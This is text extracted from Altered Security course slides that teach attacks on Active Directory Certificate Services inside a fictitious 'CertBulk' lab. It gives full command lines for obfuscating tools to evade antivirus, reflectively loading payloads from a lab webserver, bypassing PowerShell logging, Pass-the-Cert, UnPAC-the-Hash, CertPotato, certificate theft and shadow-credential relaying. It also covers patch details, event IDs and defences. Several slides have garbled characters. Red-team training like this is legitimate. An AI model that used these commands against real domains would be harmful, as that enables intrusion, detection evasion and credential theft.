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Basics of AD CS Attacks ςAV Bypass - ConfuserEx

ÅNext, under the Settings tab: 
Select Certify.exe under 
Modules and Click on the [+] 
option to Add Rules.

AD CS Attacks © Altered Security All rights reserved
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Basics of AD CS Attacks ςAV Bypass - ConfuserEx

ÅThen click on the Edit Rules option and in the Preset drop down select 
Normal and click Done.

AD CS Attacks © Altered Security All rights reserved
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Basics of AD CS Attacks ςAV Bypass - ConfuserEx

ÅFinally, under the Protect! Tab: 
Click Protect! to generate the 
obfuscated binary in the 
previously selected output 
directory.

AD CS Attacks © Altered Security All rights reserved
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Basics of AD CS Attacks ςTool Evasion and 
Obfuscation - ThreatCheck

ÅAfter compiling the tool using Visual Studio and ConfuserExbinary obfuscation, we 
can check for detections using ThreatCheckas follows:

AD CS Attacks © Altered Security All rights reserved

C:\ADCS\Tools> C:\ADCS\Tools\ObfuscatedTools\ThreatCheck\ThreatCheck.exe -f 
C:\ADCS\Tools\ObfuscatedTools\Certify.exe
[+] No threat found!
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Basics of AD CS Attacks ςPayload Delivery

Å .NET Loaders are useful to avoid detections like AMSI and ETW by patching them 
and reflectively loading a binary from a webserver or file path.

ÅWe use an obfuscated version of NetLoaderto deliver our binary payloads on some 
targets. NetLoadercan be used to reflectively load binaries from a filepathor URL as 
follows:

ÅWhile performing execution, NetLoaderpatches AMSI & ETW within the current 
process to bypass AV and ETW based telemetry solutions. 

AD CS Attacks © Altered Security All rights reserved

C:\Users\Public\Loader.exe ςpath 
http://172.16.100.X/BetterSafetyKatz.exe

NetLoader Github: https://github.com/Flangvik/NetLoader
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Basics of AD CS Attacks ςBypass PowerShell 
Logging

ÅTo bypass any PowerShell Logging mechanisms enabled we can use InviShell. This 
tool hooks the .NET assemblies (System.Management.Automation.dll and 
System.Core.dll) to bypass logging.

Å It uses a CLR Profiler API to perform the hook. 

Å "A common language runtime (CLR) profiler is a dynamic link library (DLL) that 
consists of functions that receive messages from, and send messages to, the CLR by 
using the profiling API. The profiler DLL is loaded by the CLR at run time."

ÅNOTE: We use an obfuscated version of this tool located in the 
C:\ ADCS\ Tools\ ObfuscatedToolsfolder.
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https://github.com/OmerYa/Invisi-
Shell/blob/master/InvisiShellProfier/InvisiShellProfiler.cpp
https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-
api/profiling/profiling-overview
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Basics of AD CS Attacks ςBypass PowerShell 
Logging

Use InviShellwhenever using PowerShell as follows:

ÅWith admin privileges:

ÅWith non admin privileges (current):

ÅQuit session and clean-up:

AD CS Attacks © Altered Security All rights reserved

C:\ADCS\Tools> C:\ADCS\Tools\ObfuscatedTools\ InviShell\RunWithRegistryNonAdmin.bat

C:\ADCS\Tools> exit

C:\ADCS\Tools> C:\ADCS\Tools\ObfuscatedTools\ InviShell\RunWithPathAsAdmin.bat
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Basics of AD CS Attacks ςwinrs

ÅTo accesscompromised machines, we can use PowerShell Remoting (as Port 5985 
may be allowed between hosts.)

ÅPowerShell Remoting supports system-wide transcripts and script block logging.

ÅTo evade this, we use winrs in the lab:

ÅNote that winrs requires administrative privileges on the target.

ÅWe can also use winrm.vbs or COM objects of WSMan
(https://github.com/bohops/WSMan-WinRM).

AD CS Attacks © Altered Security All rights reserved

C:\ADCS\Tools> winrs-r:cb-wsx-u:certbulk\studentadmin whoami

https://learn.microsoft.com/en-us/windows-server/administration/windows-
commands/winrs

https://github.com/bohops/WSMan-WinRM
https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/winrs
https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/winrs


52AlteredSecurity

Basics of AD CS Attacks ςCertificate Management

ÅWith appropriate privileges, it is possible to request | import | export the user or 
machine certificates from a machine. There are several ways we canaccomplish this 
interactively (Windows Certificate Manager) or usingCrypto WINAPIs.

ÅTo request | import | export usingCrypto WINAPIs we can use tools such as Certify 
and CertUtil.

AD CS Attacks © Altered Security All rights reserved

# Request Certificate in pemformat
certify.exe request /ca:cb-ca.cb.corp\CB-CA /template:User

# Import Certificate into User Certificate Store
certutil ςuser ςimportpfxC:\certs\studentadmin.pfx

# Export Certificate from User Certificate Store using Certificate Serial
certutil -user -exportpfx5500000019b448b6ebb68c9b09000000000019 C:\certs\studentadmin.pfx
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Basics of AD CS Abuse ςCertificate Management 

ÅTo  request | import | export certificateinteractively we can use theWindows 
Certificate Manager or MMC. 

ÅRequest a Certificate usingWindows Certificate Manager as follows:

AD CS Attacks © Altered Security All rights reserved
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Basics of AD CS Abuse ςCertificate Management 

Å Import a Certificate with Windows Certificate Manager using either of the 2 
showcased methods.

AD CS Attacks © Altered Security All rights reserved
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Basics of AD CS Abuse ςCertificate Management 

ÅExport a Certificate interactively using Windows Certificate Manager as follows:

AD CS Attacks © Altered Security All rights reserved
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Basics of AD CS Abuse ςPass-the-Cert

ÅPass-the-Cert (PTC) is a pre-authentication technique that uses a certificate (with 
private key) to obtain a TGT (Certificate-based Authentication). 

ÅThis technique is primarily used for User/Computer account impersonation for 
domain authentication similar to OverPass-the-Hash and Pass-the-Ticket techniques.

ÅTo perform PTC operations, it is required that the certificate usedhas the Client 
Authentication EKU set.

ÅPTC can be used with PKINITand Schannel protocols.
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PassTheCertGithub: https://github.com/AlmondOffSec/PassTheCert
Blog showcasing PassTheCert
Exploitation:https://offsec.almond.consulting/authenticating-with-certificates-when-
pkinit-is-not-supported.html
PassTheCertcommands in 
detail:https://github.com/AlmondOffSec/PassTheCert/tree/main/C%23

https://github.com/AlmondOffSec/PassTheCert
https://offsec.almond.consulting/authenticating-with-certificates-when-pkinit-is-not-supported.html
https://offsec.almond.consulting/authenticating-with-certificates-when-pkinit-is-not-supported.html
https://github.com/AlmondOffSec/PassTheCert/tree/main/C%23
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ÅPublic Key Cryptography for Initial Authentication (PKINIT) is a pre-authentication 
protocol for Kerberos which uses X.509 certificates to request a TGT. 

ÅWith a certificate valid for authentication (Client Authentication EKU set), it is possible 
to request a TGT using thePKINITprotocol. We will be using this technique for 
user/computer impersonation for majority of the lab.

AD CS Attacks © Altered Security All rights reserved

Basics of AD CS Abuse ςPTC usingPKINIT

Rubeus.exe asktgt/user:<username in certificate> /certificate:<certificate name> /password:<certificate 
password> /domain:<domain name> /dc:<domain DC> /nowrap/ptt

PKINIT - https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-
pkca/d0cf1763-3541-4008-a75f-a577fa5e8c5b
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Å If PKINIT is not supported by the DC, LDAPS can be abused to Pass-the-Cert 
usingthe PassTheCerttool. 

ÅLDAPS support SchannelSecurity Service Provider that implements SSL and TLS 
authentication protocols.

ÅWe can use the PassTheCerttool for authentication as follows:

Å If we manage to gain a privileged user context in the domain, then we can primarily 
use the PassTheCerttool to configure and abuseRBCD/Reset Password/DCSyncand 
more in Active Directory.

AD CS Attacks © Altered Security All rights reserved

Basics of AD CS Abuse ςPTC usingSchannel

PassTheCert.exe --server cb-dc.certbulk.cb.corp--cert-path C:\certs\studentadmin.pfx --cert-password 
"Passw0rd!" --whoami

Schannel - https://learn.microsoft.com/en-us/windows-server/security/tls/tls-ssl-
schannel-ssp-overview
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Å In this technique, if we have a PKINIT TGT (certificate keypair) for a user, we can recover the 
NTLM hashes of the target user.

Å Similar to Shadow Credentials but unlike that, does not require GenericWriteon an object. 

ÅWhen a certificate is used to request a TGT using PKINIT, the KDC includes 
PAC_CREDENTIAL_INFO structure in the ticket. The structure contains NTLM hashes of the 
authenticating user. 

Å These NTLM hashes can be recovered by requesting a service ticket through User-to-User 
authentication (U2U) so that the user can decrypt the service ticket. 

Å S4U2self (Service ticket to itself on behalf of a user) can then be used to impersonate any 
user including a DA.

Basics of AD CS Abuse ςUnPACthe Hash

AD CS Attacks © Altered Security All rights reserved

https://www.thehacker.recipes/ad/movement/kerberos/unpac-the-hash
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Basics of AD CS Abuse ςUnPACthe Hash

ÅAn example command to perform the UnPACthe Hash (Note the / getcredentials

option):

ÅAn example command to perform the UnPACthe Hash attack using Certipy is as 
follows:

AD CS Attacks © Altered Security All rights reserved

certipyauth -pfx /mnt/c/certs/studentadmin-unprotected.pfx

Rubeus.exe asktgt/getcredentials/user:studentadmin/certificate:C:\certs\studentadmin.pfx
/password:Passw0rd! /domain:certbulk.cb.corp/show
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Basics of AD CS Abuse ςUnPACthe Hash

AD CS Attacks © Altered Security All rights reserved

Diagram Reference: https://www.thehacker.recipes/ad/movement/kerberos/unpac-
the-hash

https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
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Basics of AD Abuse ςS4U2Self Attack

Å "S4U2Self (Service for User to Self) is an extension that allows a service to obtain a 
service ticket (TGS) on behalf of a user to itself."

ÅBy default, machine accounts cannot access machines remotely. To gain remote 
admin access we can abuse the S4U2Self attack or DCSync (if applicable).

ÅUsing target user or machine account credentials, we can use S4U2Self to get a TGS 
for a service (Ex: CIFS, HOST, HTTP) impersonating any user including a DA. An 
example is as follows:

AD CS Attacks © Altered Security All rights reserved

Rubeus.exe s4u /self /impersonateuser:administrator/altservice:cifs/cb-webapp1.certbulk.cb.corp 
/dc:cb-dc.certbulk.cb.corp/user:'cb-webapp1$' /rc4:B2FCBA1C3570AB9418994799B9BC985A /ptt

S4U2Self Microsoft docs: https://learn.microsoft.com/en-
us/openspecs/windows_protocols/ms-sfu/4a624fb5-a078-4d30-8ad1-
e9ab71e0bc47#gt_2214804a-4a44-46f4-b6d2-a78f4ff39a39
S4u2self:https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html

https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/4a624fb5-a078-4d30-8ad1-e9ab71e0bc47#gt_2214804a-4a44-46f4-b6d2-a78f4ff39a39
https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/4a624fb5-a078-4d30-8ad1-e9ab71e0bc47#gt_2214804a-4a44-46f4-b6d2-a78f4ff39a39
https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/4a624fb5-a078-4d30-8ad1-e9ab71e0bc47#gt_2214804a-4a44-46f4-b6d2-a78f4ff39a39
https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
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AD CS Patches ςCBA patch

ÅWe have configured and attested this lab to work with thelatest April 11, 2023 OS 
Build Stack updates along with the anti-PetitPotam(disabledcoercion over WebDAV) 
and Spool Sample Microsoft Patches(fixed Windows Print Spooler vulnerability).

ÅWe also included theOut-Of-BandCertificate-based Authentication (CBA) patch with 
the StrongCertificateBindingEnforcementregistry key in Full Enforcement mode = 2.

ÅPrimarily this patch introduced inKB5014754makes the AD CSCA insert 
a szOID_NTDS_CA_SECURITY_EXTSID extension valuewhich contains the SID of the 
requesting user in all certificaterequests.The domain controller can use this to 
compare the SID of the authenticating user (or the SID specified in the SAN) against 
the SID contained in the szOID_NTDS_CA_SECURITY_EXTSID extension.
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Windows Server 2022 Update History:https://support.microsoft.com/en-
gb/topic/windows-server-2022-update-history-e1caa597-00c5-4ab9-9f3e-
8212fe80b2ee
Certificate-based-authentication patch Microsoft 
docs:https://support.microsoft.com/en-us/topic/kb5014754-certificate-based-
authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-
4d4f3b188f16
KB5014754 Microsoft docs:https://support.microsoft.com/en-us/topic/kb5014754-
certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-
15d8-4340-a468-4d4f3b188f16
szOID_NTDS_CA_SECURITY_EXTstructure Microsoft 
Docs:https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-
wcce/e563cff8-1af6-4e6f-a655-7571ca482e71

https://support.microsoft.com/en-gb/topic/windows-server-2022-update-history-e1caa597-00c5-4ab9-9f3e-8212fe80b2ee
https://support.microsoft.com/en-gb/topic/windows-server-2022-update-history-e1caa597-00c5-4ab9-9f3e-8212fe80b2ee
https://support.microsoft.com/en-gb/topic/windows-server-2022-update-history-e1caa597-00c5-4ab9-9f3e-8212fe80b2ee
https://support.microsoft.com/en-us/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16
https://support.microsoft.com/en-us/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16
https://support.microsoft.com/en-us/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16
https://support.microsoft.com/en-us/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16
https://support.microsoft.com/en-us/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16
https://support.microsoft.com/en-us/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16
https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wcce/e563cff8-1af6-4e6f-a655-7571ca482e71
https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wcce/e563cff8-1af6-4e6f-a655-7571ca482e71
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AD CS Patches ςCBA patch

ÅThe CBA patch hinders Subject AltNameabuses such as ESC1, ESC2, ESC3 and breaks 
CA Configuration abuses like ESC6, ESC9, ESC10.

ÅBefore the Full Enforcement patch date (Nov 14, 2023 ςfor now available as OOB 
update) the "StrongCertificateBindingEnforcement"key value in the  
"HKEY_LOCAL_MACHINE\ SYSTEM\ CurrentControlSet \ Services \ Kdc" Registry Subkey 
can be altered in 3 states to set Certificate-based Authentication checks.
ïDisabled: 0ς> SID Mapping checks are disabled.

ïCompatibility: 1ς> szOID_NTDS_CA_SECURITY_EXTis checked andvalidated if present, but if a 
strong mapping is not present authenticationcan still proceed but will be logged.

ïFull Enforcement Mode: 2ς> strong SID mapping requirements in clientcertificates, and if not 
present authentication fails and will be logged.
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Out-Of-Band Update:https://support.microsoft.com/en-gb/topic/may-10-2022-
kb5013944-os-build-20348-707-05509703-187a-4d5b-97f5-8793dbb22991

https://support.microsoft.com/en-gb/topic/may-10-2022-kb5013944-os-build-20348-707-05509703-187a-4d5b-97f5-8793dbb22991
https://support.microsoft.com/en-gb/topic/may-10-2022-kb5013944-os-build-20348-707-05509703-187a-4d5b-97f5-8793dbb22991
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AD CS Patches ςCBA patch

ÅAn example of setting this patch in Full Enforcement Mode - (2) for strict mapping 
checks is as follows (configured in lab).

AD CS Attacks © Altered Security All rights reserved



67AlteredSecurity

AD CS Patches ςCBA patch

ÅThe CBA patch creates the shown "System events" when in Full Enforcement Mode.
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EVENT IDEVENT Type EVENT SourceEVENT Description

39 Error System No strong mapping:No strong certificate mappings 
could be found because the certificate did not have 
the new security identifier (SID) extension that the 
KDC could validate.

40for Ser
ver 2008)

Error System Certificate predates account:The certificate was 
issued to the user before the user existed in Active 
Directory and no strong mapping could be found.

41Server
2008)

Error System User and Certificate SID do not match:The SID 
contained in the new extension of the user's 
certificate does not match the users SID, implying that 
the certificate was issued to another user.

For Server 2008 Corresponding EventIDs are:
39 ς 41
40 ς 48
41 - 49
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AD CS Patches ςCBA patch

ÅAn example of a failed ESC1 exploitation attempt with the CBA patch enabled 
(without a prior bypass) results in the Event ID 39 as showcased below.
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AD CS Patches ςBypassing the CBA patch

Å It is possible to bypass the Certificate-based Authentication patch in its Compatibility 
(1)/Disabled (0) mode without any changes to our exploitation steps since if a strong 
mapping is not present authentication can still proceed in these modes, however 
Event logs will still be generated.

ÅWhen the Certificate-based Authentication patch is in its Full Enforcement Mode (2) 
ǘƘŜ Y5/ ǿƛƭƭ ǊŜƧŜŎǘ ŀƭƭ ŎŜǊǘƛŦƛŎŀǘŜǎ ǘƘŀǘ ŘƻƴΩǘ ƳŜŜǘ ǎǘǊƻƴƎ ƳŀǇǇƛƴƎ ŎƘŜŎƪǎ ŀƴŘ 
generate appropriate Event IDs. 

Å In Full Enforcement many AD CS exploitation techniques break such as 
ESC6/ESC9/ESC10. However, for techniques like ESC1/ESC2/ESC3 there are bypasses 
that exist.
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AD CS Patches ςBypassing the CBA patch

Å{ƛƴŎŜ ǘƘŜ /! ŘƻŜǎƴΩǘ ǾŀƭƛŘŀǘŜ ǘƘŜ szOID_NTDS_CA_SECURITY_EXTSID extension
value, rather blindly copies the extension value from the Certificate Request to the 
Issued Certificate, it is possible to use tools or manually craft a custom SID extension 
supplied in request that can cause identity impersonation and privilege escalation.

Å It is possible to perform this using tools like Certify (/ sidextension ) and Certipy(-
extensionsid ). This technique will be used for most abuses in the lab (ESC1, ESC2, 
ESC3 etc) to bypass the CBA patch.

ÅTo manually perform this and understand the crafting process in detail there is a 
blog by elkementalForce: https://elkement.blog/2023/03/30/lord-of-the-sid-how-
to-add-the-objectsid-attribute-to-a-certificate-manually/
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SpecterOpsblog detailing how CBA patches affect AD CS abuse and ways to 
circumvent it: https://posts.specterops.io/certificates-and-pwnage-and-patches-oh-
my-8ae0f4304c1d

https://elkement.blog/2023/03/30/lord-of-the-sid-how-to-add-the-objectsid-attribute-to-a-certificate-manually/
https://elkement.blog/2023/03/30/lord-of-the-sid-how-to-add-the-objectsid-attribute-to-a-certificate-manually/
https://posts.specterops.io/certificates-and-pwnage-and-patches-oh-my-8ae0f4304c1d
https://posts.specterops.io/certificates-and-pwnage-and-patches-oh-my-8ae0f4304c1d
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AD CS Patches ςIssues with the CBA patch

ÅA major issue introduced with this patch is while incorporating Offline Templates.

Å In Full-Enforcement mode,certificatesissued using Network Device Enrollment 
Service (E.g. Microsoft Intune) to non-domain joined devices will be rejected by the 
KDC. This is because platforms like Intune use Offline Templates with NDES and the 
CA is not able to perform target account retrieval to add the new SID extension in 
the client certificate.
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AD CS Patches ςADCS-SID-Extension-Policy-Module

PKISolutionsreleased a Policy Module for ADCS:

1.Stops User-crafted SID extension bypass

ςDefine custom rules when identity retrieval is performed. Only requests that 
match configuration will be processed by policy module.

ςDefine a custom action when incoming request contains potentially 
fraudulent SID extension.

2.Fixes issues with Offline Templates

ςPolicy module can automatically retrieve target identity account and include 
SID extension in certificate requested through NDES.
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PKISolutionsblog:https://www.pkisolutions.com/adcs-sid-extension-policy-module-
is-live/
PKISolutionsGithubProject:https://github.com/PKISolutions/ADCS-SID-Extension-
Policy-Module

https://github.com/PKISolutions/ADCS-SID-Extension-Policy-Module
https://github.com/PKISolutions/ADCS-SID-Extension-Policy-Module


Module 5: AD CSEnumeration
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The Lab Environment

ÅWe target the AD CS environment of a fictitious Certification Authority called 
ΨCertBulkΩΦ 

ÅCertBulk uses AD CS and other certificate services in their infrastructure in multiple 
forests across departments. It has
ïFully patched Server 2022 machines.

ïServer 2016 Forest Functional Level (There is nothing called Server 2022 Forest Functional Level).

ïEnterprise AD CS configuration, use of certificates for user and machine authentication, SSH, VPN, 
Code Signing, Encryption etc.

ïMultiple forests and multiple domains.

ÅOn student machines, you can find all the tools in C:\ADCS directory. It is exempted 
from Windows Defender.

ÅAccess the lab environment using the lab portal - https://adcs.enterprisesecurity.io/
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The Lab Environment
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AD CS ςEnumeration

ÅAs a normal domain user, we can enumerate for presence of AD CS in the target 
environment. 
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# Look for AD CS containers using the AD Module
Get-ADObject-Filter * -SearchBase'CN=Certification Authorities,CN=Public Key 
Services,CN=Services,CN=Configuration,DC=cb,DC=corpΩ

ls 'AD:\CN=Certification Authorities,CN=Public Key 
Services,CN=Services,CN=Configuration,DC=cb,DC=corp'

# Based on ObjectClass
Get-ADObject-LDAPFilter'(objectclass=certificationAuthority)' -SearchBase
'CN=Configuration,DC=cb,DC=corp' | fl *
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AD CS ςEnumeration

ÅUsing Certify

ÅWe cover technique specific enumeration as and when required. 
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# Enumerate CA
Certify.exe cas

# Find Templates
Certify.exe find



Module 6: AD CSLocalPrivilege Escalation 
(CertPotato)
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AD CS Local PrivescςCertPotato

ÅVirtual accounts (like apppool \ defaultapppool ) are used by services on a 
Windows machine. These are local managed service accounts.

Å If domain authentication is required by the service using a virtual account, 
the machine account will be used for authentication.

ÅThis is what the CertPotato vulnerability primarily preys on, that is to abuse virtual 
accounts to gain a machine account context.

ÅThis can be abused using thetgtdelegtrick to obtain a useful TGT to request a 
certificate as themachine account. 
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SensePostCertPotatoBlog:https://sensepost.com/blog/2022/certpotato-using-adcs-
to-privesc-from-virtual-and-network-service-accounts-to-local-system/
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AD CS Local PrivescςCertPotato

ÅWe can request a TGT for the machine account without needing admin rights using 
the tgtdelegtrick.

ÅWith the TGT, we can retrieve the machineaccount hash using UnPAC-the-Hash or 
perform an S4U2Self attack to escalate privileges.

ÅBelow is a sample command abusing CertPotatoto privilege escalate from virtual 
accounts to administrative privileges using the S4U2Self Attack. 
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# Perform tgtdelegAttack to get a TGT
Rubeus.exe tgtdeleg/nowrap

# Perform S4U2Self Attack to gain CIFS admin access
Rubeus.exe s4u /self /impersonateuser:Administrator/altservice:cifs/cb-webapp1.certbulk.cb.corp 
/dc:cb-dc.certbulk.cb.corp/user:'cb-webapp1$' /rc4:B2FCBA1C3570AB9418994799B9BC985A /ptt

tgtdelegattack:https://twitter.com/gentilkiwi/status/998219775485661184
https://github.com/GhostPack/Rubeus/#tgtdeleg

https://twitter.com/gentilkiwi/status/998219775485661184
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Learning Objective - 1

ÅCompromise the web application on cb - webapp1 .

ÅPrivilege Escalate using CertPotatoto gain admin access on cb - webapp1 .

Topics Covered ςInitial Access, Local Privilege Escalation (CertPotato)
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Module 7: AD CSTheft (THEFT1) and 
LocalPersistence (PERSIST1)



83AlteredSecurity

AD CSTheft ςExport certs usingCryptoAPIs
(THEFT1)

Å It is possible to export user/machine certificates from the Windows Certificate 
Manager if the user has appropriate privileges.We can accomplish 
this interactivelyor usingCrypto WINAPIs(THEFT1).

ÅOnce a user/computer certificate is extracted we can exfiltrate the certificate and 
reuse it to Pass-the-Cert and authenticate to Active Directory.

ÅCertificates can be exported in a.pem/.ceror .pfx format. Usually when exportingas 
a .pfx, there are two methods to protect the certificate - AD 
Principalsor passwords.
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AD CSTheft ςExport certs usingCryptoAPIs
(THEFT1)

Å If the certificate is password protected, it could be vulnerable to brute 
force/password guessing attacks.

Å It is possible tolist and exportcertificates from the Windows Certstoreusing built-in 
tools likeCertUtil, built-in PowerShell Cmdlets andexternal tools like 
CertStealer, CertifyKit. An example using CertUtilis as follows:
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# List certificates In Computer Store
certutil -store My

# Export pfx certificate using serial from Computer Store
certutil -p 'Passw0rd!' -exportpfx3000000009ab1d2a9f13756439000000000009 
C:\windows\temp\studentadmin.pfx
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AD CS Local Persistence ς User Account (PERSIST1)

ÅA certificate remains valid even if the target user account password is changed. 

Å If we compromise a user who has enrollment rights to an AD CS template that has 
the Client Authentication EKUenabled, we can request and use a certificate that will 
be valid until the expiry specified in the template. 

ÅAn example command to request such a certificate to maintain User Persistence 
using Certify is as follows:
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Certify.exe request /ca:cb-ca.cb.corp\CB-CA /template:User/user:studentadmin
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Learning Objective - 2

ÅSteal a certificate from the Machine CertStore(THEFT1) on cb - webapp1 .

ÅUse this certificate to Privilege Escalate on your foothold ςcb - wsx and on cb -

webapp1 .

ÅMaintain User Account Persistence (PERSIST1) as certbulk \ studentadmin from 
cb - wsx .

Topics Covered ςLocal Privilege Escalation, Theft and Collection (THEFT1), Local Persistence (PERSIST1)
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Module 8: AD CS PrivilegeEscalation (Shadow 
Credentials)
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AD CS PrivescςWHfB

Åά²ƛƴŘƻǿǎ IŜƭƭƻ ŦƻǊ .ǳǎƛƴŜǎǎ ǊŜǇƭŀŎŜǎ ǇŀǎǎǿƻǊŘǎ ǿƛǘƘ ǎǘǊƻƴƎ ǘǿƻ-factor 
authentication on devices. This authentication consists of a type of user credential 
ǘƘŀǘ ƛǎ ǘƛŜŘ ǘƻ ŀ ŘŜǾƛŎŜ ŀƴŘ ǳǎŜǎ ŀ ōƛƻƳŜǘǊƛŎ ƻǊ tLbΦέ

ÅHow WHfBworks:
ïOn enrollment, TPM (Trusted Platform Model) firstly generates a private-public key pair for the 

user's account and then stores the public key in a new Key Credential object called the msDS-
KeyCredentialLinkattribute of the account.

ïThe private key is protected by a PIN, which Windows Hello allows replacing with a biometric 
authentication factor, such as fingerprint or face recognition.

ïWindows uses this private key to perform PKINIT authentication where validation occurs when 
ǘƘŜ 5/ Ŏŀƴ ŘŜŎǊȅǇǘ ǘƘŜ Ǌŀǿ ǇǳōƭƛŎ ƪŜȅ ǇǊŜǎŜƴǘ ƛƴ ǘƘŜ ŎƭƛŜƴǘΩǎ msDS-KeyCredentialLinkattribute. 

ïOnce pre-authentication is successful, the Domain Controller can exchange a session using one 
of the supported methods.
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https://learn.microsoft.com/en-us/windows/security/identity-protection/hello-for-
business/hello-overview
https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-
for-takeover-8ee1a53566ab
https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/2f9cae55-
350a-423e-a692-1d16659e544a
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AD CS PrivescςWHfB
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https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-
for-takeover-8ee1a53566ab
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AD CS PrivescςWHfB

Å If the client needs NTLM auth, it can 
request a U2U (User to User) service ticket 
that contains their NTLM hash in the 
NTLM_SUPPLMENTAL_CREDENTIAL 
structure in PAC_CREDENTIAL_INFO 
structure in Privileged Attribute Certificate 
(PAC) within the service ticket. 

Å This is what UnPAC-the-Hash is!
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AD CS Privesc ς Shadow Credentials Abuse

Å If an attacker has control over a user or machine account 
(GenericAll/GenericWrite) it can be abused to compromise the target by 
addingShadow Credentials. 

ÅThis is done by adding Key Credentials to the msDS-KeyCredentialLinkattribute of 
the target object. 

ÅThis would allow us to request a TGT and also the NTLM hash (UnPAC-The-Hash) 
for the target user or machine account.

ÅShadow Credentials also serves as a good persistence mechanism sincethese 
credentials would persist even if the user/computer change their password.
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Elad Shamir's blog showcasing Shadow Credential 
abuse:https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-
mapping-for-takeover-8ee1a53566ab

https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab
https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab
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AD CS Privesc ς Shadow Credentials Abuse

ÅWhisker (https://github.com/eladshamir/Whisker) aids red teams to abuse Shadow 
Credentials using the msDS-KeyCredentialLinkattribute in red team operations.

ÅThis tool generates a certificate and an asymmetric key and stores them in the 
msDS-KeyCredentialLinkattribute. The generated certificate could be used with 
Rubeus in order to request a TGT for the target.

ÅA sample command to add this misconfiguration using Whisker is as follows:
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Whisker.exe add /target:cb-store$ /domain:certbulk.cb.corp/dc:cb-dc.certbulk.cb.corp
/path:'C:\certs\cb-webapp1_shadow.pfx' /password: 'Passw0rd!'

Whisker github: https://github.com/eladshamir/Whisker
Python version of Whisker ςPyWhiskter
github: https://github.com/ShutdownRepo/pywhisker

https://github.com/eladshamir/Whisker
https://github.com/eladshamir/Whisker
https://github.com/ShutdownRepo/pywhisker
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AD CS Privesc ς Shadow Credentials Abuse

ÅAdditionally, this attack can also be carried out in a non-domain joined Linux 
machine using coerced authentication and a ntlmrelayxmodule called--shadow-
credentials. A sample command to do this is as follows:

ÅShadow Credentials is an alternative to PasswordReset, Kerberoastingand RBCD (all 
need GenericWrite).

ÅHowever, Shadow Credentials abuse does result in events which can be used for 
telemetry/detection.  
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# Setup Listener
ntlmrelayx.py -t ldap://cb-ca.cb.corp --shadow-credentials --shadow-target 'cb-ǎǘƻǊŜϷΩ

# Coerce Authenticationusingnew methods
Coercer.py coerce -l cb-ws.certbulk.cb.corp-t cb-store.certbulk.cb.corp-u studentx-p 'IamtheF!rstStud3nt#' -d 
certbulk.cb.corp-v --filter-method-name "EfsRpcDuplicateEncryptionInfoFile"

Telemetry/Detection of Shadow Credentials -
https://cyberstoph.org/posts/2022/03/detecting-shadow-credentials/

https://cyberstoph.org/posts/2022/03/detecting-shadow-credentials/
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Learning Objective - 3

ÅUsing certbulk \ cb - webapp1$ privileges, abuseShadow Credentials to compromise 
cb - store and gain admin access to it.

Topics Covered ςPrivilege Escalation (Shadow Credentials)
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Module 9: AD CS Theft (THEFT4)
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AD CS Theft ς Finding certs on disk (THEFT4)

ÅIt is possible that certificates and their associated private keys are found 
on disk (not just in certificate stores) due to careless handling of such 
sensitive files. 

ÅTo search for such files, we target recursively searching for common 
certificate file extensions on disk.

ÅWe can use manual PowerShell and CMD search queries or use tools 
such as Seatbelt to automate the searching process to save time.
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PowerShell and CMD queries to find certificate 
files:https://superuser.com/questions/1459190/powershell-cmd-find-files-with-a-
certain-extension-excluding-error-messages-fr
Seatbelt Github: https://github.com/GhostPack/Seatbelt

https://superuser.com/questions/1459190/powershell-cmd-find-files-with-a-certain-extension-excluding-error-messages-fr
https://superuser.com/questions/1459190/powershell-cmd-find-files-with-a-certain-extension-excluding-error-messages-fr
https://github.com/GhostPack/Seatbelt
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AD CS Theft ς Finding certs on disk (THEFT4)

ÅWe can enumerate for the following critical extensions that may help us find and 
compromise certificates/private keys on disk.
ï .key:Contains just the private key

ï .crt/. cer: Contains just the certificate

ï .csr: Certificate signing request file. This does not contain certificates or keys

ï .jks/.keystore/.keys: Java Keystore. May contain certs + private keys used by Java applications

ï .pem: Contains certificate and associated private key (unprotected)

ï .pfx/.p12: Contains certificate and associated private key (protected)

ÅAn example PowerShell query to search for such certificate files recursively based on 
files extension is shown below.
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Get-ChildItemC:\ -include ('*.pem', '*.pfx', '*.p12', '*.crt', '*.cer', '*.key') -recurse -erroraction'silentlycontinue'
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OpenVPN

ÅOpenVPN is an open source VPN project that provides server, client and 
tunneling protocol for setting up VPN. 

ÅOpenVPN is widely used in Enterprise environments as a standalone 
server or as a part of appliances.

ÅUsers can use config files (.ovpnextension on Windows) that can be 
used with openvpnclient to connect securely to a server. 
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https://openvpn.net/community/
Sample client config -
